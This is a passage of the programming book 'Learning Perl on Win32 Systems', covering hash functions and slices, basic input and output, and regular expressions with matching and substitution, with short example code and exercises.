Of course, if %normal has two identical values, those will end up as only a single element in %backwards, so this swap is best performed only on hashes with unique keys and values.

Previous: 5.2 Hash Variables | Learning Perl on Win32 Systems | Next: 5.4 Hash Functions
5.2 Hash Variables | Book Index | 5.4 Hash Functions


[Chapter 5] 5.4 Hash Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

5.4 Hash Functions

Here are some functions for hashes.

5.4.1 The keys Function

The keys(%hashname) function yields a list of all the current keys in the hash %hashname. In other words, it's like the odd-numbered (first, third, fifth, and so on) elements of the list returned by unwinding %hashname in an array context, and in fact, returns them in that order. If there are no elements to the hash, then keys returns an empty list.

Here's an example using the hash from the previous examples:

$fred{"aaa"} = "bbb";
$fred{234.5} = 456.7;
@list = keys(%fred); # @list gets ("aaa",234.5) or
                     # (234.5,"aaa")

As with all other built-in functions, the parentheses are optional: keys %fred is like keys(%fred). For example:

foreach $key (keys %fred) { # once for each key of %fred
        print "at $key we have $fred{$key}\n"; # show key and value
}

This example also shows that individual hash elements can be interpolated into double-quoted strings. You cannot interpolate the entire hash, however.[3]

[3] Well, you can, using a slice, but we don't talk about slices here.

In a scalar context, the keys function gives the number of elements (key-value pairs) in the hash. For example, you can find out whether a hash is empty:

if (keys(%somehash)) { # if keys() not zero:
         ...;           # hash is non empty
}
                        # ... or ...
while (keys(%somehash) < 10) {
        ...;         # keep looping while we have less than 10 elements
}

In fact, merely using %somehash in a scalar context will reveal whether the hash is empty or not:

if (%somehash) { # if true, then something's in it
    # do something with it
}

5.4.2 The values Function

The values(%hashname) function returns a list of all the current values of the %hashname, in the same order as the keys returned by the keys(%hashname) function. As always, the parentheses are optional. For example:

%lastname = ();                 # force %lastname empty
$lastname{"fred"} = "flintstone";
$lastname{"barney"} = "rubble";
@lastnames = values(%lastname); # grab the values

At this point, @lastnames contains either ("flintstone", "rubble") or ("rubble", "flintstone").

5.4.3 The each Function

To iterate over (that is, examine every element of) an entire hash, use keys, looking up each returned key to get the corresponding value. Although this method is frequently used, a more efficient way is to use each(%hashname), which returns a key-value pair as a two-element list. On each evaluation of this function for the same hash, the next successive key-value pair is returned until all the elements have been accessed. When there are no more pairs, each returns an empty list.

So, for example, to step through the %lastname hash from the previous example, do something like this:

while (($first,$last) = each(%lastname)) {
        print "The last name of $first is $last\n";
}

Assigning a new value to the entire hash resets the each function to the beginning. Adding or deleting elements of the hash is quite likely to confuse each (and possibly you as well).

5.4.4 The delete Function

So far, with what you know, you can add elements to a hash, but you cannot remove them (other than by assigning a new value to the entire hash). Perl provides the delete function to remove hash elements. The operand of delete is a hash reference, just as if you were merely looking at a particular value. Perl removes the key-value pair from the hash. For example:

%fred = ("aaa","bbb",234.5,34.56); # give %fred two elements
delete $fred{"aaa"};
# %fred is now just one key-value pair

Previous: 5.3 Literal Representation of a Hash | Learning Perl on Win32 Systems | Next: 5.5 Hash Slices
5.3 Literal Representation of a Hash | Book Index | 5.5 Hash Slices


[Chapter 5] 5.5 Hash Slices

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

5.5 Hash Slices

Like an array variable (or list literal), a hash can be sliced to access a collection of elements instead of just one element at a time. For example, consider the bowling scores set individually:

$score{"fred"} = 205;
$score{"barney"} = 195;
$score{"dino"} = 30;

This collection seems rather redundant, and in fact can be shortened to:

($score{"fred"},$score{"barney"},$score{"dino"}) =
        (205,195,30);

But even these seem redundant. Let's use a hash slice :

@score{"fred","barney","dino"} = (205,195,30);

There. Much shorter. We can use a hash slice with variable interpolation as well:

@players = qw(fred barney dino);
print "scores are: @score{@players}\n";

Hash slices can also be used to merge a smaller hash into a larger one. In this example, the smaller hash takes precedence in the sense that if there are duplicate keys, the value from the smaller hash is used:

@league{keys %score} = values %score;

Here, the values of %score are merged into the %league hash. This operation is equivalent to the much slower operation:

%league = (%league, %score); # merge %score into %league

Previous: 5.4 Hash Functions | Learning Perl on Win32 Systems | Next: 5.6 Exercises
5.4 Hash Functions | Book Index | 5.6 Exercises


[Chapter 5] 5.6 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

5.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that reads in a string, then prints that string and its mapped value according to the mapping presented in Table 5.1.

    Table 5.1: Sample Hash Mapping

    Input

    Output

    red

    apple

    green

    leaves

    blue

    ocean

  2. Write a program that reads a series of words with one word per line until end-of-file, then prints a summary of how many times each word was seen. (For extra challenge, sort the words in ascending ASCII order in the output.)

Previous: 5.5 Hash Slices | Learning Perl on Win32 Systems | Next: 6. Basic I/O
5.5 Hash Slices | Book Index | 6. Basic I/O


[Chapter 6] Basic I/O

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 5.6 Exercises Chapter 6 Next: 6.2 Input from the Diamond Operator

6. Basic I/O

Contents:
Input from STDIN
Input from the Diamond Operator
Output to STDOUT
Exercises

6.1 Input from STDIN

Reading from standard input (via the Perl filehandle called STDIN) is easy. We've been doing it already with the <STDIN> construct. Evaluating this in a scalar context gives the next line of input,[1] or undef if there are no more lines, like so:

[1] Up to a newline, or whatever you've set $/ to.

$a = <STDIN>; # read the next line

Evaluating in a list context produces all remaining lines as a list: each element is one line, including its terminating newline. We've seen this before, but as a refresher, it might look something like this:

@a = <STDIN>;

Typically, one thing you want to do is read all lines one at a time and do something with each line. One common way to do this is:

while (defined($line_ = <STDIN>)) {
  # process $line here
}

As long as a line has been read in, <STDIN> evaluates to a defined value, so the loop continues to execute. When <STDIN> has no more lines to read, it returns undef, terminating the loop.

Reading a scalar value from <STDIN> into $_ and using that value as the controlling expression of a loop (as in the previous example) occurs frequently enough so that Perl has an abbreviation for it. Whenever a loop test consists solely of the input operator (something like <...>), Perl automatically copies the line that is read into the $_ variable. For example:

while (<STDIN>) { # like "while(defined($_ = <STDIN>_)"
         chomp;   # like "chomp($_)"
                  # other operations with $_ here
}

Because the $_ variable is the default for many operations, you can save a noticeable amount of typing this way.

Previous: 5.6 Exercises | Learning Perl on Win32 Systems | Next: 6.2 Input from the Diamond Operator
5.6 Exercises | Book Index | 6.2 Input from the Diamond Operator


[Chapter 6] 6.2 Input from the Diamond Operator

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

6.2 Input from the Diamond Operator

Another way to read input is with the diamond operator: <>. This operator works like <STDIN> in that it returns a single line in a scalar context (undef if all the lines have been read) or all remaining lines if used in a list context. However, unlike <STDIN>, the diamond operator gets its data from the file or files specified on the command line that invoked the Perl program. For example, if you have a program named type.plx, consisting of:

while (<>) {
        print $_;
}

and you invoke type.plx with:

perl type.plx file1 file2 file3

then the diamond operator reads each line of file1 followed by each line of file2 and file3 in turn, returning undef only when all of the lines have been read. As you can see, type.plx works a little like the NT command type, sending all the lines of the named files to standard output in sequence. If you don't specify any filenames on the command line, the diamond operator reads from standard input automatically.

Technically, the diamond operator isn't looking literally at the command-line arguments; it works from the @ARGV array. This array is a special array initialized by the Perl interpreter to the command-line arguments. Each command-line argument goes into a separate element of the @ARGV array. You can interpret this list any way you want.[2] You can even set this array within your program and have the diamond operator work on that new list rather than the command-line arguments, like so:

[2] The Perl standard distribution contains routines for parsing the command-line arguments of a Perl program. See Programming Perl for more information on the getopt library.

@ARGV = ("aaa","bbb","ccc");
while (<>) { # process files aaa, bbb, and ccc
        print "this line is: $_";
}

In Chapter 10, Filehandles and File Tests, we'll see how to open and close specific filenames at specific times, but the technique detailed here has been used for some of our quick-and-dirty programs.

Previous: 6.1 Input from STDIN | Learning Perl on Win32 Systems | Next: 6.3 Output to STDOUT
6.1 Input from STDIN | Book Index | 6.3 Output to STDOUT


[Chapter 6] 6.3 Output to STDOUT

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

6.3 Output to STDOUT

Perl uses the print and printf functions to write to standard output. Let's look at how they are used.

6.3.1 Using print for Normal Output

We've already used print to display text on standard output. Let's expand on that usage a bit.

The print function takes a list of strings and sends each string to standard output in turn, without any intervening or trailing characters added. What might not be obvious is that print is really just a function that takes a list of arguments, and returns a value like any other function. In other words:

$a = print("hello ", "world", "\n");

would be another way to say hello world. The return value of print is a true or false value, indicating the success of the print. The print nearly always succeeds, unless you get some I/O error, so $a in this case will usually be 1.

Sometimes you'll need to add parentheses to print as shown in the example given below, especially when the first thing you want to print starts with a left parenthesis, as in:

print (2+3),"hello";   # wrong! prints 5, ignores "hello"
print ((2+3),"hello"); # right, prints 5hello
print 2+3,"hello";     # also right, prints 5hello

6.3.2 Using printf for Formatted Output

You may wish to have a little more control over your output than print provides. In fact, you may be accustomed to the formatted output of C's printf function. Fear not: Perl provides a comparable operation with the same name.

The printf function takes a list of arguments (enclosed in optional parentheses, like the print function). The first argument is a format control string, defining how to print the remaining arguments. Here's an example:

 printf "%15s %5d %10.2f\n", $s, $n, $r;

This function prints $s in a 15-character field, then a space, then $n as a decimal integer in a 5-character field, then another space, then $r as a floating-point value with 2 decimal places in a 10-character field, and finally a newline.

Among the many formats supported by Perl's printf() and sprintf() functions are the following commonly used ones:

%% | Percent sign
%c | Character with the given number
%s | String
%d | Signed integer, in decimal
%u | Unsigned integer, in decimal
%o | Unsigned integer, in octal
%x | Unsigned integer, in hexadecimal
%e | Floating-point number, in scientific notation
%f | Floating-point number, in fixed decimal notation
%g | Floating-point number, in %e or %f notation

Between the percent and the format character, you may place one or more of the following flags:

space | Prefix positive number with a space
+ | Prefix positive number with a plus sign
- | Left justify within the field
0 | Use zeros, not spaces, to right justify
number | Minimum field width
.number | Precision: digits after decimal point for floating-point number, maximum length for string, minimum length for integer

Previous: 6.2 Input from the Diamond Operator | Learning Perl on Win32 Systems | Next: 6.4 Exercises
6.2 Input from the Diamond Operator | Book Index | 6.4 Exercises


[Chapter 6] 6.4 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

6.4 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that acts like type, but reverses the order of the lines from the files specified on the command line, or all the lines from standard input if no files are specified.

  2. Modify the program from the previous exercise so that each file specified on the command line has its lines individually reversed. (Yes, you can do this with only what's been shown to you so far, even excluding the stroll in Chapter 1, Introduction.)

  3. Write a program that reads a list of strings on separate lines, and prints the strings in a right-justified 20-character column. For example, inputting hello, good-bye prints hello and good-bye, right-justified in a 20-character column. (Be sure your program is actually using a 20-character column, and not a 21-character column. That mistake is common.)

  4. Modify the program from the previous exercise to allow the user to select the column width. For example, entering 20, hello, and good-bye should do the same thing as the previous program did; but, entering 30, hello, and good-bye should justify hello and good-bye in a 30-character column.

Previous: 6.3 Output to STDOUT | Learning Perl on Win32 Systems | Next: 7. Regular Expressions
6.3 Output to STDOUT | Book Index | 7. Regular Expressions


[Chapter 7] Regular Expressions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 6.4 Exercises Chapter 7 Next: 7.2 Simple Uses of Regular Expressions

7. Regular Expressions

Contents:
Concepts About Regular Expressions
Simple Uses of Regular Expressions
Patterns
More on the Matching Operator
Substitutions
The split and join Functions
Exercises

7.1 Concepts About Regular Expressions

A regular expression is a pattern - a template - to be matched against a string. Matching a regular expression against a string either succeeds or fails. Sometimes, the success or failure may be all you are concerned about. At other times, you will want to take a matched pattern and replace it with another string, parts of which may depend on exactly how and where the regular expression matched.

Regular expressions are used by many programs: editors, search utilities, and word processors. Each program has a different set of (mostly overlapping) template characters. Perl is a semantic superset of all of these tools - any regular expression that can be described in one of these tools can also be written in Perl, but will not necessarily use exactly the same characters.

Previous: 6.4 Exercises | Learning Perl on Win32 Systems | Next: 7.2 Simple Uses of Regular Expressions
6.4 Exercises | Book Index | 7.2 Simple Uses of Regular Expressions


[Chapter 7] 7.2 Simple Uses of Regular Expressions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

7.2 Simple Uses of Regular Expressions

If we were looking for all lines of a file that contain the string abc, we might use the Windows NT findstr command:

>findstr abc somefile > results

In this case, abc is the regular expression that the findstr command tests against each input line. Lines that match are sent to standard output, and end up in the file results because of the command-line redirection.

In Perl, we can speak of the string abc as a regular expression by enclosing the string in slashes:

if (/abc/) {
  print $_;
}

But what is being tested against the regular expression abc in this case? Why, it's our old friend, the $_ variable! When a regular expression is enclosed in slashes (as above), the $_ variable is tested against the regular expression. If the regular expression matches, the match operator returns true. Otherwise, it returns false.

For this example, the $_ variable is presumed to contain some text line and is printed if the line contains the characters abc in sequence anywhere within the line - similar to the findstr command above. Unlike the findstr command, which is operating on all of the lines of a file, this Perl fragment is looking at just one line. To work on all lines, add a loop, as in:

while (<>) {
  if (/abc/) {
    print $_;
  }
}

What if we didn't know the number of b's between the a and the c? That is, what if we want to print the line if it contains an a followed by zero or more b's, followed by a c? With findstr, we'd say:

>findstr ab*c somefile >results

In Perl, we can say exactly the same thing:

while (<>) {
  if (/ab*c/) {
    print $_;
  }
}

Just like findstr, this loop looks for an a followed by zero or more b's followed by a c.

We'll visit more uses of pattern matching in the section "More on the Matching Operator," later in the chapter, after we talk about all kinds of regular expressions.

Another simple regular expression operator is the substitute operator, which replaces the part of a string that matches the regular expression with another string. The substitute operator consists of the letter s, a slash, a regular expression, a slash, a replacement string, and a final slash, looking something like:

s/ab*c/def/;

The variable (in this case, $_) is matched against the regular expression (ab*c). If the match is successful, the part of the string that matched is discarded and replaced by the replacement string (def). If the match is unsuccessful, nothing happens.

As with the match operator, we'll revisit the myriad options on the substitute operator later, in the section "Substitutions."

Previous: 7.1 Concepts About Regular Expressions | Learning Perl on Win32 Systems | Next: 7.3 Patterns
7.1 Concepts About Regular Expressions | Book Index | 7.3 Patterns


[Chapter 7] 7.3 Patterns

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

7.3 Patterns

A regular expression is a pattern. Some parts of the pattern match single characters in the string of a particular type. Other parts of the pattern match multiple characters. First, we'll visit the single-character patterns, and then the multiple-character patterns.

7.3.1 Single-Character Patterns

The simplest and most common pattern-matching character in regular expressions is a single character that matches itself. In other words, putting a letter a in a regular expression requires a corresponding letter a in the string.

The next most common pattern-matching character is the dot ".". This character matches any single character except newline (\n). For example, the pattern /a./ matches any two-letter sequence that starts with a and is not a\n.

A pattern-matching character class is represented by a pair of open and close square brackets and a list of characters between the brackets. One and only one of these characters must be present at the corresponding part of the string for the pattern to match. For example,

/[abcde]/

matches a string containing any one of the first five letters of the lowercase alphabet, while

/[aeiouAEIOU]/

matches any of the five vowels in either lower- or uppercase. If you want to put a right bracket (]) in the list, put a backslash in front of it, or put it as the first character within the list. Ranges of characters (like a through z) can be abbreviated by showing the end points of the range separated by a dash (-); to get a literal dash in the list, precede the dash with a backslash or place it at the end. Here are some other examples:

[0123456789] # match any single digit
[0-9]        # same thing
[0-9\-]      # match 0-9, or minus
[a-z0-9]     # match any single lowercase letter or digit
[a-zA-Z0-9_] # match any single letter, digit, or underscore

There's also a negated character class, which is the same as a character class, but has a leading up arrow (or caret: ^) immediately after the left bracket. This character class matches any single character that is not in the list. For example:

[^0-9] # match any single non-digit
[^aeiouAEIOU] # match any single non-vowel
[^\^] # match single character except an up-arrow

For your convenience, some common character classes are predefined, as described in Table 7.1.

Table 7.1: Predefined Character Class Abbreviations
Construct | Equivalent Class | Negated Construct | Equivalent Negated Class
\d (a digit) | [0-9] | \D (digits, not!) | [^0-9]
\w (word char) | [a-zA-Z0-9_] | \W (words, not!) | [^a-zA-Z0-9_]
\s (space char) | [ \r\t\n\f] | \S (space, not!) | [^ \r\t\n\f]

The \d pattern matches one digit. The \w pattern matches one word character, although the pattern is really matching any character that is legal in a Perl variable name. The \s pattern matches one space (whitespace), defined here as spaces, carriage returns, tabs, line feeds, and form feeds. The uppercase versions match the complements of these classes. Thus, \W matches one character that can't be in an identifier, \S matches one character that is not a whitespace (including letters, punctuation marks, control characters, etc.), and \D matches any single non-digit character.

These abbreviated classes can be used as part of other character classes as well:

[\da-fA-F] # match one hex digit

7.3.2 Grouping Patterns

The true power of regular expressions comes into play when you can say "one or more of these" or "up to five of those." Let's talk about how these cases are handled.

7.3.2.1 Sequence

The first (and probably most obvious) grouping pattern is sequence. In using this pattern, Perl matches abc as an a followed by a b followed by a c. This pattern seems simple, but we're giving it a name so we can talk about it later.

7.3.2.2 Multipliers

We've already seen the asterisk (*) as a grouping pattern. The asterisk indicates zero or more of the immediately previous character (or character class).

Two other grouping patterns that work in the same manner are the plus sign (+), meaning one or more of the immediately previous character, and the question mark (?), meaning zero or one of the immediately previous character. For example, the regular expression /fo+ba?r/ matches an f followed by one or more o's, followed by a b, followed by an optional a, followed by an r.

In all three of these grouping patterns, the patterns are greedy. If such a multiplier has a chance to match between five and ten characters, it'll pick the ten-character string every time. For example,

$_ = "fred xxxxxxxxxx barney";
s/x+/boom/;

always replaces all consecutive x's with boom (resulting in fred boom barney), rather than just one or two x's, even though a shorter set of x's would also match the same regular expression.

If you need to say "five to ten" x's, you could get away with putting five x's followed by five x's each immediately followed by a question mark. But this looks ugly. Instead, an easier way exists: the general multiplier. The general multiplier consists of a pair of matching curly braces with one or two numbers inside, as in /x{5,10}/. The immediately preceding character (in this case, the letter x) must be found within the indicated number of repetitions (five through ten here).[1]

[1] Of course, /\d{3}/ doesn't only match three-digit numbers. It would also match any number containing more than three digits. To match exactly three, you need to use anchors, described in the next section, titled "Anchoring Patterns."

If you leave off the second number, as in /x{5,}/, you indicate "that many or more" (five or more in this case), and if you leave off the comma, as in /x{5}/, you indicate "exactly this many" (five x's). To get five or fewer x's, you must put the zero in, as in /x{0,5}/.

So, the regular expression /a.{5}b/ matches the letter a separated from the letter b by any five non-newline characters at any point in the string. (Recall that a period matches any single non-newline character, and we're matching five here.) The five characters do not need to be the same. (We'll learn how to force them to be the same in the next section.)

We could dispense with *, +, and ? entirely, because they are completely equivalent to {0,}, {1,}, and {0,1}. But it's easier to type the equivalent single punctuation character, and more familiar as well.

If two multipliers occur in a single expression, the greedy rule is augmented with leftmost is greediest. For example:

$_ = "a xxx c xxxxxxxx c xxx d";
/a.*c.*d/;

In this case, the first .* in the regular expression matches all characters up to the second c, even though matching only the characters up to the first c would still allow the entire regular expression to match. Right now, this distinction is not important (the pattern would match either way), but later when we can look at parts of the regular expression that matched, the distinction will matter quite a bit.

We can force any multiplier to be nongreedy (or lazy) by following it with a question mark:

$_ = "a xxx c xxxxxxxx c xxx d";
/a.*?c.*d/;

Here, the a.*?c matches the fewest characters between the a and c, not the most characters. This means the leftmost c is matched, not the rightmost. You can put such a question-mark modifier after any of the multiplers (?,+,* and {m,n}).

What if the string and regular expression were slightly altered, say, to:

$_ = "a xxx ce xxxxxxxx ci xxx d";
/a.*ce.*d/;

In this case, if the .* matches the most characters possible before the next c, the next regular expression character (e) doesn't match the next character of the string (i). In this case, we get automatic backtracking. The multiplier is unwound and retried, stopping at someplace earlier (in this case, at the earlier c, next to the e).[2] A complex regular expression may involve many such levels of backtracking, leading to long execution times. In this case, consider that making that match lazy (with a trailing ?) will actually simplify the work that Perl has to perform.

[2] Well, technically, there was a lot of backtracking of the * operator to find the c's in the first place. But that's a little trickier to describe, and it works on the same principle.

7.3.2.3 Parentheses as memory

Another grouping operator is a pair of open and close parentheses around any part pattern. This operator doesn't change whether the pattern matches, but instead causes the part of the string matched by the pattern to be remembered, so that it may be referenced later. So, for example, (a) still matches an a, and ([a-z]) still matches any single lowercase letter.

To recall a memorized part of a string, you must include a backslash followed by an integer. This pattern construct represents the same sequence of characters matched earlier in the same-numbered pair of parentheses (counting from one). For example:

/fred(.)barney\1/;

matches a string consisting of fred, followed by any single non-newline character, followed by barney, followed by that same single character. So, the string matches fredxbarneyx, but not fredxbarneyy. Compare that string with:

/fred.barney./;

in which the two unspecified characters can be the same, or different.

Where did the 1 come from? The 1 indicates the first parenthesized part of the regular expression. If there's more than one, the second part (counting the left parentheses from left to right) is referenced as \2, the third as \3, and so on. For example:

/a(.)b(.)c\2d\1/;

matches an a, a character (call it #1), a b, another character (call it #2), a c, the character #2, a d, and the character #1. So, the string matches axbycydx, for example.

The referenced part can be more than a single character. For example,

/a(.*)b\1c/;

matches an a, followed by any number of characters (even zero), followed by b, followed by that same sequence of characters, followed by c. So, the string would match aFREDbFREDc, or even abc, but not aXXbXXXc.

7.3.2.4 Alternation

Another grouping construct is alternation, as in a|b|c. This construct matches exactly one of the alternatives (a or b or c, in this case). This construct works even if the alternatives have multiple characters, as in /song|blue/, which matches either song or blue. (For single-character alternatives, you're definitely better off with a character class like /[abc]/.)

What if we wanted to match songbird or bluebird? We could write /songbird|bluebird/, but that bird part shouldn't have to be in there twice. In fact, there's a way out, but we have to talk about the precedence of grouping patterns, which is covered later in the section "Precedence."

7.3.3 Anchoring Patterns

Several special notations anchor a pattern. Normally, when a pattern is matched against the string, the beginning of the pattern is dragged through the string from left to right, matching at the first possible opportunity. Anchors allow you to ensure that parts of the pattern line up with particular parts of the string.

The first pair of anchors requires that a particular part of the match be located either at a word boundary or not at a word boundary. The \b anchor requires a word boundary at the indicated point for the pattern to match. A word boundary is the place between characters that match \w and \W, or between characters matching \w and the beginning or ending of the string. Note that this description has little to do with English words and a lot more to do with C symbols, but that's as close as we get. For example:

/fred\b/;   # matches fred, but not Frederick
/\bmo/;     # matches moe and mole, but not Elmo
/\bFred\b/; # matches Fred but not Frederick or alFred
/\b\+\b/;   # matches "x+y" but not "++" or " + "
/abc\bdef/; # never matches (impossible for a boundary there)

Likewise, \B requires that there not be a word boundary at the indicated point. For example:

/\bFred\B/; # matches "Frederick" but not "Fred Flintstone"

Two more anchors require that a particular part of the pattern be next to an end of the string. The caret (^) matches the beginning of the string if it is in a place that makes sense to match the beginning of the string. For example, ^a matches an a if, and only if, the a is the first character of the string. However, a^ matches the two characters a and ^ anywhere in the string. In other words, the caret has lost its special meaning. If you need the caret to be a literal caret even at the beginning, put a backslash in front of it.

The $, like the ^, anchors the pattern, but to the end of the string, not the beginning. In other words, c$ matches a c only if it occurs at the end of the string.[3] A dollar sign anywhere else in the pattern is probably going to be interpreted as a scalar value interpretation, so you'll most likely need to backslash it to match a literal dollar sign in the string.

[3] Or just before the newline at the end of the string, for historical simplicity.

Other anchors are supported, including \A, \Z, and lookahead anchors created via (?=...) and (?!...). These anchors are described fully in Chapter 2 of Programming Perl and the perlre documentation.

7.3.4 Precedence

So what happens when we get a|b* together? Is this a or b any number of times, or is it either a single a or any number of b's?

Well, just as operators have precedence, the grouping and anchoring patterns also have precedence. The precedence of patterns from highest to lowest is given in Table 7.2.

Table 7.2: regex Grouping Precedence [4]
Name | Representation
Parentheses | ( ) (?: )
Multipliers | ? + * {m,n} ?? +? *? {m,n}
Sequence and anchoring | abc ^ $ \A \Z (?= ) (?! )
Alternation | |

[4] Some of these symbols are not described in this book. See Programming Perl or perlre for details.

According to the table, * has a higher precedence than |. So /a|b*/ is interpreted as a single a, or any number of b's.

What if we want the other meaning, as in "any number of a's or b's"? We simply throw in a pair of parentheses. In this case, we enclose the part of the expression that the * operator should apply to inside parentheses, and we are done, as (a|b)*. If you want to clarify the first expression, you can redundantly parenthesize it with a|(b*).

When you use parentheses to affect precedence they also trigger the memory, as shown earlier in this chapter. That is, this set of parentheses counts when you are figuring out whether something is \2, \3, or whatever. If you want to use parentheses without triggering memory, use the form (?:...) instead of (...). This form still allows for multipliers, but doesn't cause you to throw off your counting by using up another $4 or whatever. For example, /(?:Fred|Wilma) Flintstone/ does not store anything into $1; it's just there for grouping.

Here are some other examples of regular expressions, and the effect of parentheses:

abc*             # matches ab, abc, abcc, abccc, abcccc, and so on
(abc)*           # matches "", abc, abcabc, abcabcabc, and so on
^x|y             # matches x at the beginning of line, or y anywhere
^(x|y)           # matches either x or y at the beginning of a line
a|bc|d           # a, or bc, or d
(a|b)(c|d)       # ac, ad, bc, or bd
(song|blue)bird  # songbird or bluebird

Previous: 7.2 Simple Uses of Regular Expressions | Learning Perl on Win32 Systems | Next: 7.4 More on the Matching Operator
7.2 Simple Uses of Regular Expressions | Book Index | 7.4 More on the Matching Operator


[Chapter 7] 7.4 More on the Matching Operator

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

7.4 More on the Matching Operator

We have already looked at the simplest uses of the matching operator (a regular expression enclosed in slashes). Now let's look at a zillion ways to make this operator do something slightly different.

7.4.1 Selecting a Different Target (the =~ Operator)

Usually the string you'll want to match your pattern against is not within the $_ variable, and it would be a nuisance to put it there (perhaps you already have a value in $_ you're quite fond of). No problem. The =~ operator helps us here. This operator takes a regular expression operator on the right side, and changes the target of the operator to something besides the $_ variable - namely, some value named on the left side of the operator. For example:

$a = "hello world";
$a =~ /^he/;         # true
$a =~ /(.)\l/;       # also true (matches the double l)
if ($a =~ /(.)\1/) { # true, so yes...
                     # some stuff
}

The target of the =~ operator can be any expression that yields some scalar string value. For example, <STDIN> yields a scalar string value when used in a scalar context, so we can combine this with the =~ operator and a regular expression match operator to get a compact check for particular input, as in:

print "any last request? ";
if (<STDIN> =~ /^[yY]/) { # does the input begin with a y?
  print "And just what might that request be? ";
  <STDIN>; # discard a line of standard input
  print "Sorry, I'm unable to do that.\n";
}

In this case, <STDIN> yields the next line from standard input, which is then immediately used as the string to match against the pattern ^[yY]. Note that you never stored the input into a variable, so if you wanted to match the input against another pattern, or possibly echo the data out in an error message, you'd be out of luck. But this form frequently comes in handy.

7.4.2 Ignoring Case

In the previous example, we used [yY] to match either a lower- or uppercase y. For very short strings, such as y or fred, this match is easy enough, as in [fF][oO][oO]. But what if the string you wanted to match was the word "procedure" in either lower- or uppercase?

In the Windows NT findstr command, a /i flag indicates "ignore case." Perl also has such an option. You indicate the ignore-case option by appending a lowercase i to the closing slash, as in /somepattern/i. This says that the letters of the pattern will match letters in the string in either case. For example, to match the word procedure in either case at the beginning of the line, use /^procedure/i.

Now our previous example looks like this:

print "any last request? ";
if (<STDIN> =~ /^y/i) { # does the input begin with a y?
  # yes! deal with it
  ...
}

7.4.3 Using a Different Delimiter

If you are looking for a string with a regular expression that contains slash characters (/), you must precede each slash with a backslash (\ ). For example, you can look for a string that begins with /wwwroot/docs like this:

$path = <STDIN>; # read a pathname (from "find" perhaps?)
if ($path =~ /^\/wwwroot\/docs/) {
  # begins with /wwwroot/docs...
}

As you can see, the backslash-slash combination makes this example look as if there are little valleys between the text pieces. Using this combination for a lot of slash characters can get cumbersome, so Perl allows you to specify a different delimiter character. Simply precede any nonalphanumeric, nonwhitespace character[5] (your selected delimiter) with an m, then list your pattern followed by another identical delimiter character, and you're done, as in:

[5] If the delimiter happens to be the left character of a left-right pair (parentheses, braces, angle bracket, or square bracket), the closing delimiter is the corresponding right of the same pair. But otherwise, the characters are the same for begin and end.

/^\/wwwroot\/docs/ # using standard slash delimiter
m@^/wwwroot/docs@  # using @ for a delimiter
m#^/wwwroot/docs#  # using # for a delimiter (my favorite)

You can even use slashes again if you want, as in m/fred/. So the common regular-expression matching operator is really the m operator; however, the m is optional if you choose slash for a delimiter.

7.4.4 Using Variable Interpolation

A regular expression is variable interpolated before it is considered for other special characters. As a result, you can construct a regular expression from computed strings rather than just literals. For example:

$what = "bird";
$sentence = "Every good bird does fly.";
if ($sentence =~ /\b$what\b/) {
  print "The sentence contains the word $what!\n";
}

In this example we have effectively constructed the regular expression operator /\bbird\b/ using a variable reference.

Here's a slightly more complicated example:

$sentence = "Every good bird does fly.";
print "What should I look for? ";
$what = <STDIN>;
chomp($what);
if ($sentence =~ /$what/) { # found it!
  print "I saw $what in $sentence.\n";
} else {
  print "nope... didn't find it.\n";
}

If you enter bird, it is found. If you enter scream, it isn't. If you enter [bw]ird, that's also found, showing that the regular expression pattern-matching characters are indeed still significant.

How would you make them insignificant? You'd have to arrange for the non-alphanumeric characters to be preceded by a backslash, which would then turn them into literal matches. That process sounds hard, unless you have the \Q quoting escape at your disposal:

$what = "[box]";
foreach (qw(in[box] out[box] white[sox])) {
  if (/\Q$what\E/) {
    print "$_ matched!\n";
  }
}

Here, the \Q$what\E construct turns into \[box\], making the match look for a literal pair of enclosing brackets, instead of treating the whole thing as a character class.

7.4.5 Special Read-Only Variables

After a successful pattern match, the variables $1, $2, $3, and so on are set to the same values as \1, \2, \3, and so on, held inside the pattern. You can use this feature to look at a piece of the match in later code. For example:

$_ = "this is a test";
/(\w+)\W+(\w+)/; # match first two words
                 # $1 is now "this" and $2 is now "is"

You can also gain access to the same values ($1, $2, $3, and so on) by placing a match in a list context. The result is a list of values from $1 up to the number of memorized things, but only if the regular expression matches. (Otherwise, the variables are undefined.) Taking that last example in another way:

$_ = "this is a test";
($first, $second) = /(\w+)\W+(\w+)/; # match first two words
                # $first is now "this" and $second is now "is"

Other predefined read-only variables include $&, which is the part of the string that matched the regular expression; $`, which is the part of the string before the part that matched; and $', which is the part of the string after the part that matched. For example:

$_ = "this is a sample string";
/sa.*le/; # matches "sample" within the string
# $` is now "this is a "
# $& is now "sample"
# $' is now " string"

Because these variables are set on each successful match, you should save the values elsewhere if you need them later in the program.[6]

[6] See O'Reilly's Mastering Regular Expressions for the performance ramifications of using these variables.

Previous: 7.3 Patterns | Learning Perl on Win32 Systems | Next: 7.5 Substitutions
7.3 Patterns | Book Index | 7.5 Substitutions


[Chapter 7] 7.5 Substitutions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

7.5 Substitutions

We've already talked about the simplest form of the substitution operator: s/old-regex/new-string/. We can now discuss a few variations of this operator.

If you want the replacement to operate on all possible matches instead of just the first match, append a g to the substitution, as in:

$_ = "foot fool buffoon";
s/foo/bar/g; # $_ is now "bart barl bufbarn"

The replacement string is variable interpolated, allowing you to specify the replacement string at runtime:

$_ = "hello, world"
$new = "goodbye";
s/hello/$new/; # replaces hello with goodbye

Pattern characters in the regular expression allow patterns to be matched, rather than just fixed characters:

$_ = "this is a test";
